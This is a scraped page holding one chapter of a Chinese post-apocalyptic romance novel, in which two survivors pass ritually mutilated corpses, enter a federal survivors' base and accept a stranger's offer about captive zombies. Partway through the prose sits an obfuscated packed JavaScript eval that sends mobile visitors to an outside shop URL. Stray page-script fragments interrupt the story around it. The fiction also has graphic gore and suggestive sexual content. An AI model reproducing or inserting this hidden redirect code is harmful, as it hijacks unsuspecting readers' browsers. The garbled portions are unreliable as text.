文趣网 > 都市小说 > 强占冷脸搭档后[GB] > 8. 安息月03
    车开了整整两天。

    江岁靠在角落里睡了个昏天黑地,却还是恹恹提不起精神。

    那枚晶核里也不知究竟融了些什么东西,杂质已经几乎把原本蕴藏的能量消耗殆尽。

    能量没感受到多少,体内倒是被那团杂质扰得一团糟。

    想来想去,江岁还是感觉得不偿失。

    她抬手抹去车玻璃上覆的那层掺着霜的哈气,这才算看清外面站在雪地里给车加油的易逢。

    他鼻尖冻得通红,唇上那点血色又褪下去了,远远看过去像是个没生气的精致人偶。

    江岁敲了敲车窗。

    易逢转过头,眉上缀着两层薄霜,傻愣愣看着她。

    快点。

    她比了个口型。

    易逢下意识应了声,看口型是哦,反应过来她听不到,又乖乖点了点头。

    睡久了脑袋发晕,江岁索性给自己寻个事分散一下注意力。

    等油桶被易逢用毯子裹好塞回后备箱,她已经翻到驾驶位坐着了。

    易逢刚坐进副驾驶,手腕就被江岁拽着握在掌心,贴着他发僵的指节搓了搓。

    他没说话,只把另一只手也伸过来,指尖搭在她的袖口,扭着往里钻,紧紧贴着她手腕内侧那块最暖和的皮肤。

    江岁轻“嘶”一声,“凉。”

    易逢点点头,理直气壮:“冷。”

    路面上的积雪被反复碾压又冻结,就留下一片片隆起的高低不平的冰脊,车轮碾上去就是一阵连绵起伏的颠簸,恨不得把人晃得吐出一口酸水。

    他们图省时间,歪歪扭扭在废墟里抄近道,也算得上是条小路,偏生却瞧见了各类痕迹。

    车辙、脚印、被拖拽后留下的擦痕,新旧交叠着铺在本就杂乱无章的雪面上。

    又往前走了一段,她们看到了第一具尸体。

    不是完整的,脖颈上空荡荡。

    躯体半跪在路边的排水沟里,双手被反绑在身后,那块横截面明显是被反复劈砍出来的,参差不齐,冻住的血液绕着环成圈黑紫的冰壳。

    临近了,江岁摇下车窗看了一眼。

    那具尸体的衣服被扒得精光,裸露的皮肤呈现出冻死前特有的蜡黄色,肋骨一根根凸出来,已经变成了副裹了层薄皮的骨架。

    “奇了怪了……”她这句话飘到易逢耳边的时候,车已经重新提速冲出去一段距离了。

    又往前开出一段,这条破道边的尸体多了起来。

    有的被堆成一摞,有的散落在路边,有的被倒挂在歪倒的路灯杆上。每具尸体的手腕上都系着根红布条,布条被血水浸透了,冻成硬邦邦的深褐色。

    江岁数了数,十一具。

    “人杀的?”她原先笃定这是人的手笔,现如今也有些疑惑,偏过头看了眼易逢。

    他的视线还粘在那几具倒挂的尸体上,眼珠跟着车身晃动的节奏微微转动,看不出在想什么。

    “丧尸。”易逢轻声说,“有丧尸的味道。”

    江岁闻言,不知道是想到了什么,闷闷笑了几声。

    易逢搞不懂她在自娱自乐什么,懵懵收回视线,微微歪了些头瞧着她。

    等江岁笑够了,倾身往他那边靠了点儿,鼻尖凑近他的颈侧,轻轻嗅了嗅,随后才若有所思直起身看着他,像是在评判什么。

    易逢被看得紧张,悄悄低头闻了闻自己,没有怪味,干干净净的。

    他更加疑惑了,抿着唇犹豫半晌,迟缓开口:“我身上有奇怪的味道吗?”

    江岁一本正经点头,“狗味。”

    易逢听得眼睛微微睁大些,脑子里空荡荡一片,身子随着颠簸轻轻晃着,像是蔫巴的花。

    江岁脑子里还在乱七八糟想那些尸体,视线四处跑了几圈,还能瞥见藏在雪层里露个角的,估计也是那种东西。

    宗/教仪式?近些日子也没听到什么风声。

    某个团队惹了不该惹的人?能剿杀这么多人的异能者里挑不出这么无聊的。

    ……

    一时之间想不明白,江岁也不乐意下去讨晦气,把这件怪事留了个心,也就没再去想。

    “末世没有狗……”

    嘀嘀咕咕似的声音飘忽灌进耳朵里,江岁恍神看过去,易逢整个人都恹恹的,半靠在车门上,嘴里小声念叨着。

    “逗你玩的。”江岁大发慈悲解释。

    易逢立马抬头看向她,身上那股蔫了吧唧的劲瞬间散了。

    “不是狗味,是小狗味。”江岁补充。

    “哦……”易逢又蔫了。

    绕出了小路,越往目的地靠近,沿途的变化就越明显。

    路边的建筑物都被清理过,坍塌的楼板被推到两侧,留出可供车辆通行的通道。

    每隔一段距离,就能看到立在雪地里的警示牌,上面喷涂着统一的标识——“前方基地,减速慢行”。

    末世还能有这种执行力,除了联邦基地,找不出第二家。

    现存的三大聚集地有联邦基地、地下城、伊甸园。

    分别占据北、南、西三面。

    而联邦基地,全名叫人类幸存者联邦基地。

    是个从旧政/府体系里延续下来的组织,但同时也是现存三大聚集地中规模最大、资源最充裕的一个。

    他们有自己的军队、工厂、研究所。

    甚至还有一套完整的法律法规。

    听起来像个笑话。

    但联邦确实活下来了,还活得比其他任何地方都好。

    不过江岁对此没什么好感。

    规矩多的地方,麻烦就多。

    麻烦多的地方,她就想绕道走。

    天擦黑的时候,基地的轮廓终于出现在视野里。

    一片被铁丝网围起来的区域横亘在白茫茫的雪原上,里头正儿八经围了一圈围墙,目测有五米高,混凝土浇筑的,墙顶上还拉了铁丝网,每隔几十米就有一座岗哨。

    大门朝南,两扇厚重的钢制门板紧闭着,旁边开了个小门。

    门外排着十几号人,有的扛着包,有的互相搀扶着坐在地上。

    每个人身上都裹着厚厚的破布和棉被,看着像是一团团灰扑扑的烂棉絮,被风吹到了这墙根底下。

    两个穿统一制服的人站在门口,手里端着枪,腰间挂着对讲机,挨个检查排队的人。

    检查的不过就两样,有没有被咬和有没有异能。

    被咬过的,不让进。

    有异能但没登记的,要单独带走。

    没异能也没技能的,要看物资储备,交不出入城费的,也不让进。

    车慢慢靠过去,刚被示意停下,旁边就窸窸窣窣起了动静。

    一个四十来岁的男人被揪出来,脸上挨了一枪托,鼻梁骨被砸断了,血顺着下巴往脖子里灌,还死死抱着怀里那几包压缩饼干,趴在地上哭着哀求。

    穿制服的人踢了他后腰一脚,把他从队伍里踹出去。

    男人倒在地上,饼干散了一地。

    他爬起来去捡,又被踢开。

    队伍里的人全都低着头,没人出声。

    连看都不敢看。

    轮到江岁她们的时候,天已经彻底黑了。

    门口那个中年的制服人员例行问话:“名字?”

    “江岁。”

    “几个人?”

    “两个。”

    “从哪里来,走了多久?”

    “南边。走了一个多星期。”

    “异能者?”

    江岁还没答,易逢已经开了口:“治愈。”

    旁边几个排队的齐刷刷看过来,连坐在墙根底下休息的人都抬起了头。

    那两个制服人员交换了个眼神,其中一个转身走到一边,拿起挂在肩头的对讲机,低声说了句什么。

    “证件带了吗?”那个制服人员的声音明显客气了些许。

    “没有。”江岁说。

    他问的是基地之间的通行证,只要进了基地就得办。

    先前江岁她们要么是绕路子翻进去,要么就是在外头飘着,手里自然没有这种东西。

    “行。”制服人员翻出个小本本,刷刷写了几个字,撕下来一张盖了章的纸条递过来,“内围往右边走,异能者登记处在第三栋楼。把这个交了,会有人安排你们。”

    纸条上印着个模糊的红戳,手写的日期和编号,潦草得认不出写的什么。

    “入城费呢?”江岁抬眼看了看他。

    制服人员看了眼他们背上的包,“物资抽三成,或者晶核一颗。”

    “要是都不想给呢?”

    “那就请回。”

    江岁侧头看了看易逢,他立刻会意。

    易逢拉开背包外侧拉链,大咧咧抖着往外倒,饼干块七零八落铺了一桌,数量少得有些可怜。

    明显远远不够“三成”。

    制服人员的眉头拧成一股绳,浑浊的眼珠转了转,在江岁和易逢身后硕大的背包上扫来扫去,盯着看了半晌,而后收回了目光,挥挥手让他们进去了。

    走出几步,江岁不动声色捏了捏易逢的垂在身侧的指尖。

    不出意料地得到了他满是得意的轻哼。

    易逢加快脚步,往她身边贴得更紧,又勾住她的尾指轻轻晃了晃。

    小门后面是一条窄长的通道,两侧都是铁丝网,头顶上也有铁丝网,往外看着,里头的人倒像是被关在笼子里。

    通道尽头又是一道门,推开之后才算真正进了据点。

    先看到的是外围。

    外围是片开阔地,沿着围墙内侧搭满了各种乱七八糟的棚子。

    好的住行军帐篷,差点的住废弃集装箱改造的住所,但也不缺直接在地上挖个坑、上面盖层塑料布的窝棚。

    地面上的雪被踩得稀烂,混着泥巴和不知名的糊状物搅成一团团,踩上去粘不拉几的。

    偶尔能看到几个穿着整齐、显得有些格格不入的人从人群中穿梭而过,多半是往内围方向去的。

    都是登记过的异能者。

    江岁停在外围通往内围的关卡前面,仰头看了看。

    铁丝网将内外围分割开来,隔几步就戳着根探照灯杆子,把整道隔离带照得亮如白昼。

    内围的建筑是预制板搭的,方方正正排列着,雪扫得干干净净,路上铺着碎石,和外围的那些烂泥塘子比,简直是两个世界。

    江岁把纸条递给关卡的人,又等了几分钟,才有个人从里面走出来接他们。

    “江岁?易逢?”来人戴着副黑框眼镜,他低头看了眼登记表,又抬头打量他们,“治愈系异能者,是哪个?”

    易逢抬了抬手。

    眼镜的目光在他身上停了停,又转向江岁:“你呢?什么异能?”

    “没有。”

    眼镜愣了一下,显然不太相信这个说法,但也没多问,只是推了推镜框,“跟我来吧。”

    登记处设在第三栋楼的一层,是个空荡荡的大开间,四面白墙,靠墙摆了几张金属桌子。

    桌上摊着密密麻麻的表格和文件夹,最里面靠墙的地方立着排铁皮柜子,上面贴着各种颜色的标签。

    他先是拿了个小仪器贴在两人眉前照了照,江岁亮了红灯,易逢亮了绿灯。

    眼镜惊疑不定地晃了晃仪器,似是不相信这个检测结果。

    江岁甚是悠闲地四处扫视着,时不时还与易逢低声说几句没营养的话。

    那个仪器就是联邦基地创造出来专门监测异能者的。

    红灯是无异能,黄灯是初阶异能,绿灯是中阶异能,橙灯是高阶异能。

    这东西早两年就有了,也一直在更新迭代。

    不过异能评级显然没有联邦基地想的那么简单,他们更换了无数个版本,都试图将异能划分个三六九等好进行进一步的资源分配。

    但显然这玩意的没用在江岁和易逢这里体现了个淋漓尽致。

    眼镜叹了口气,坐下来,翻出两张空白表格推过来,“填表。”

    江岁低头扫了眼。

    姓名、年龄、异能类型、异能等级、原籍、过往经历、是否有固定队伍、末世前是否有犯罪记录——密密麻麻印了整页。

    她拿起笔,在姓名栏写了两个字,然后把表推回去。“剩下的不填。”

    眼镜正要说什么,门被推开,外头走进来个人。

    “没事。小李,先安排他们去休息。剩下的明天再说。”

    说话的是个四十出头的中年女人,短发,瘦长脸,肩膀上没有任何肩章,但眼镜立刻站起来应了声“是”。

    女人先是对着易逢微微点头,“我提前了解过。治愈系异能者,在哪都是稀缺资源。欢迎你们来到联邦基地。你们的情况我会如实上报,在没有定下来之前不会有人为难你们。”

    对方说这话的时候语气很温和,可资源这个词听得江岁浑身难受。

    想着初来乍到,不想平添麻烦,她也就没多说话。

    “明天会有专人带你们做异能测试,”女人的视线终于移到江岁身上,停了停,“至于你,也会安排相应的岗位。”

    内围的住宿区是三层高的预制板楼,每层有十六个房间,每个房间不到十平米,里面只有一张铁架床和一张折叠桌。

    窗户很小,还不够一个成年人探半个身子出去,窗框上却密密麻麻焊着铁条。

    既防丧尸,也防人。

    眼镜打开二楼走廊尽头的一扇门,“条件有限,将就一晚。”

    房间倒是干净,临时基地居然也有人负责打扫无人住宿房间的卫生。

    目前这里的完整程度已经超出了江岁的预想。

    江岁把背包扔在床上,在房间里转了一圈,确认墙上没有暗门,窗户下的墙壁也是实心的后,才在床边坐下来。

    易逢还站在门口没进来,正盯着走廊尽头墙上贴的一张告示看。

    “写的什么?”江岁抬头。

    易逢走回来,反手关上门,“基地规章制度,十七条禁令。”

    “比如?”江岁来了些兴致。

    “禁止私自斗殴,禁止偷盗物资,禁止未经批准擅自离开基地,禁止异能者在非指定区域使用异能,”他顿了顿,“禁止散布不实言论,禁止组织宗/教活动,禁止……”

    “行了。”江岁兴致尽无,打断他,“听着就烦。”

    易逢在她身边坐下来。

    床架吱呀一声,两个人都没说话。

    并排坐着发了会儿呆,易逢悄悄蹭着往她身边靠了靠,指尖搭在胸口的拉链上,往下拉了点儿。

    “江岁……”他小声喊了句,手臂已经与她贴在一起。

    江岁懒懒抬眼看他,瞧着他垂着头,眼睛里黑幽幽一片,就知道他脑袋里又在想乱七八糟的东西。

    “做什么?”

    易逢温顺地低下头,将裸露出来的一段脖颈送到她面前,执拗地闷声说:“没有狗味。”

    他这是让她再闻闻。

    江岁被傻子逗乐了,乐得顺着他低下头,埋进他微凉的颈侧蹭了蹭,故作思考地拖着尾音,“没有吗?我怎么感觉闻到了?”

    易逢大概是被冻傻了,闻言更是直接抬手搂住她的头,带着往下送了送,“真的没有。”

    脸颊隔着一层薄薄的布料被压在两团绷得发紧的软肉之间,江岁由着他把自己闷在那片温热的起伏里。

    有那么几秒,她觉得自己几乎要被这么闷死。

    死法挺新鲜的,说出去估计都没人信。

    “……你到底闻没闻。”易逢又加大了点儿力气,带着点儿不达目的不罢休的劲。

    江岁被他勒得嘴都难张开,勉强扭着脖子转了几圈,刚准备说话,就感受到唇下蹭到了什么东西。

    那点凹陷被她呼出的热气一激,惹得他整个人都轻轻颤了颤,反倒像是刻意往她嘴里送似的。

    “闻了。”江岁被捂得发闷,索性不再挣扎,就这么靠在他胸口,懒洋洋开口,“确实没有。”

    易逢这才松了松手臂,但还是虚虚揽着,像是在等她接着说些什么。

    江岁的指尖轻缓划过脸侧贴着的凹陷,指腹压着往里推了推,将那点软肉挤得微微漾开。

    他的手臂僵了僵,胸口的起伏骤然顿住。

    “你……”

    “不是狗味。”江岁从他怀里抬起脸,仰头看着他,方才被他的衣服蹭的唇有些痒痒的,不自觉轻轻舔了下,才慢悠悠补了句,“是傻味。”

    易逢呆愣愣看着她,眼底清晰倒映出她略带戏谑的表情。

    他的手臂已经落到了他的肩上,指尖无意识攥着她后颈的布料,眼睛却蓦然亮了起来,盯着她的唇,一眨不眨。

    “看什么?”江岁还想着逗他,“你说……”

    话说到一半,又被按着压了回去。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485836|201999||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    这次没有隔着布料。

    易逢不知何时用空着的手扯开了自己的衣服,拉链滑到底的声音还没来得及散干净,江岁的脸就直接贴上了那片毫无遮挡的皮肤。

    “你再闻。”

    还是那三个字。

    江岁却品出点儿不一样的味道。

    她就着这个姿势,往上看了看。

    易逢的睫毛很长,密密两片微微卷着,垂眼看人的时候,会在脸上洒下来一片小小的阴影,将那双本就幽深的眸子匿在暗里,平白增添几分直白的软意。

    他的下唇被咬的泛白,显然是拿不准江岁的态度,手上却还不肯松劲。

    “闻到了。”江岁弯着眼睛笑了笑。

    易逢松了点儿力气。

    “就是有。”她故意说。

    易逢的眉头极快地拧了一下,在眉上聚出两道小沟,衬在这张寡淡的脸上,格外显得委屈。

    他攥着的手指一根根松开,手臂缓缓滑下去,垂在身侧。领口就这么敞开着,胸口和锁骨都晾在空气里,神游似的低着头,发尾从颈侧滑下去,挡住他的半边脸。

    江岁撑着他身侧的床板直起身,居高临下看着他。

    易逢往里缩了缩,两条长腿并在一起忘记收,试图把自己蜷在角落里。

    “拉上。”江岁开口。

    他没动。

    “我说把衣服拉上。”

    还是没动。

    江岁最讨厌不听话的。

    她抬手按住易逢的膝盖分开,倾身压着挤在他双腿中间,扣住他的后颈将人的头硬生生抬起来,在他锁骨上狠狠咬了一口。

    易逢闷哼一声。

    江岁这才松开,他锁骨下方的皮肤薄且敏感,瞧着那圈牙印,没个两三天是下不去的。

    “我的。”她又用指腹贴着那道牙印碾了碾,平淡地宣布。

    易逢低头看了看那个明晃晃的牙印,又抬眼看她,眼睛里蒙上了层熟悉的纱,雾蒙蒙看不清楚,却清晰地泛着水光。

    他抓着她的手拉回自己身上,掌心覆着她的手背,带着她一寸寸抚过自己的锁骨、胸膛,最后停在心脏跳动的位置。

    “这里。”他说。

    规律的搏动隔着柔软的皮肉,一下下撞在她的掌心。

    “也是你的。”

    江岁歪着头看了他半晌,手腕扭着转了个圈,托着那块软肉捏了一把,握了满手,颇为坦然地接下了。

    “你的命当然是我的。”

    易逢的话又一次被堵住,眼睁睁看她意犹未尽收回手,试图想再拉回来补救,就看人摆摆手,转了身往门口走。

    “出去转转。”

    “去哪?”易逢赶忙拉好衣服,跟着往外走。

    “外围。”江岁拉了拉领口,把脖子上那道疤遮住,“看看有什么能买的。”

    私人交易场在外围靠东边的一片废墟里,与内围的交易所相比,没有人在入口守着,也没有人吆喝着卖货。

    这里交易的人大多是独行者,或者两三人结伴的小队伍,他们或站或蹲坐在棚子间的阴影里,面前摆着要卖的东西,不多,一两件,但都是好东西。

    这群人都是游商。

    完全独立在基地之外,却又时常游走在基地之间的一群人。

    他们有门路搞到基地拿不到的东西,自然也有底气不把基地的规矩放在眼里。

    江岁看到一个蹲在角落里的男人,面前摊着块破布,上面摆着几枚晶核,成色都不错。

    她走过去,男人抬脸看了她一眼,视线在她脸上停了停,又移到易逢身上,瞳孔微微收缩。

    但他什么都没说,把目光收回去,继续低头摆弄他那些晶核。

    这不是个例。

    江岁继续往里面走的时候,注意到至少有三个人在看到她之后,脸上都闪过类似的表情。

    这就是末世的规矩。

    在消息灵通的人眼里,实力都是有个高低排行的,排哪个位置的人叫什么长什么样有什么异能,打个照面就能对照上。

    即便手里拿的信息不多,这群惯常爱察言观色的撇上一眼,也明白对面是不好惹的。

    江岁沿着摊子慢悠悠晃着走,在一个卖药的婆婆摊子前停下来。

    她零零碎碎挑了几种止血和消炎的药,又拿了几卷绷带,用几块压缩饼干和巧克力换了。

    婆婆接过饼干咬了一口,又多塞给她一小瓶香水。

    江岁拿在手里晃了晃,贴标的廉价香水,一看就是掺着高浓度酒精的那种,转手扔进易逢怀里。

    “你们是新来的?”婆婆笑眯眯问。

    江岁“嗯”了声。

    “异能者啊。”婆婆往内围方向怒了努嘴,“最近查得严还往里面钻?”

    江岁蹙眉:“查得严?”

    婆婆笑着看她,没接话。

    江岁这才顺着她刚才的视线看过去。

    几道光柱正往这边扫,穿制服的人从内围方向走出来,正沿着交易场的外围慢慢溜达,脚步压得很慢,手电筒晃来晃去,像是在找什么人。

    空地上的交易还在继续,只不过气氛变得微妙了几分,风声里夹杂着的低语声也倏地压下去。

    直到那几个人拐过那片棚子,走远了,市场里的声音才慢慢又浮起来。

    “你们是因为安息月才来的吧?”婆婆把东西妥帖收拾好放进布包里,“准备在这里避避风头?”

    江岁抬眼瞧着她,换了个话头问:“你要离开这?去哪?”

    婆婆也不在意她毫不客气的追问,笑呵呵应了,“这不适合我这个老家伙,我得往再北边走走。”

    再北边就是联邦基地的大本营。

    “不去伊甸园?”江岁问。

    婆婆笑着摇头:“不爱跟疯子打交道。”

    她似乎还想说什么,视线落在江岁身后,忽地收了话头。

    易逢早就先一步走到江岁身侧斜斜挡着。

    来人裹着件宽大的黑色斗篷,兜帽压得很低,遮住了大半张脸,只露出尖尖的下巴和干裂的嘴唇。

    但能从身形看出是个女人。

    江岁转过身坦然面对。

    女人也慢慢抬起头看上来。

    她的眼睛是闭着的。

    眼窝塌陷下去、眼皮完全覆盖住眼眶的闭合那种闭着。

    眼帘上横着一道疤,像是被人用刀片划过,两边眼皮被疤痕扯得向内凹陷,结结实实地黏在一起。

    瞎子。

    “江岁。”瞎眼女人声音沙哑,却格外笃定。

    江岁的短刀已经架在了她的脖颈上。

    可哪怕刀刃贴着她的皮肤,只要江岁稍微用力,就能割开她的喉咙。

    女人仍旧一动不动。

    “我不认识你。”江岁说。

    “我也不认识你。”瞎眼女人说,“但我听说过你。”

    她抬起一只手,慢慢推开斗篷的边缘,露出手腕上系着的一根红布条。

    江岁眯起眼睛。

    红布条。

    和来时路边那些尸体的身上系的一模一样。

    “你想干什么?”她问。

    “谈个交易。”女人说着,伸出一只手,展开,掌心躺着一枚血红色的晶核。

    不掺杂半分杂质的红,甚至比之前遇到的中阶还要大上两圈,凑近了几乎能看见半透明的晶体内部有暗红色的光在流动。

    高阶晶核。

    而且是完全纯净的。

    刚才那个婆婆已经离开了。

    周围几个摊位的人也都默不作声挪远了些。

    “一枚高阶晶核,换一条消息。”女人把晶核往江岁面前递了递,“公平交易。”

    江岁没有接,“什么消息?”

    “圈养丧尸。”瞎眼女人一字一顿,咬字古怪,语调飘飘忽忽像是从坟墓里爬出来的鬼魂在招着手,连带着把这场突如其来的交易也变得格外离奇。

    风雪忽然大了,头顶的帆布棚被吹得哗啦作响,边上悬着油灯剧烈晃动着,搅得暗处的人影也跟着扭曲变形。

    江岁松了压在女人脖颈间的刀刃。转头看向易逢。

    易逢也在看她,眼底混沌一片,瞧不出情绪。

    他手里的折叠刀不知何时已经弹开了,只是握着垂在身侧。

    江岁果断收回刀刃,插回腰侧,轻描淡写说了一个字。

    “换。”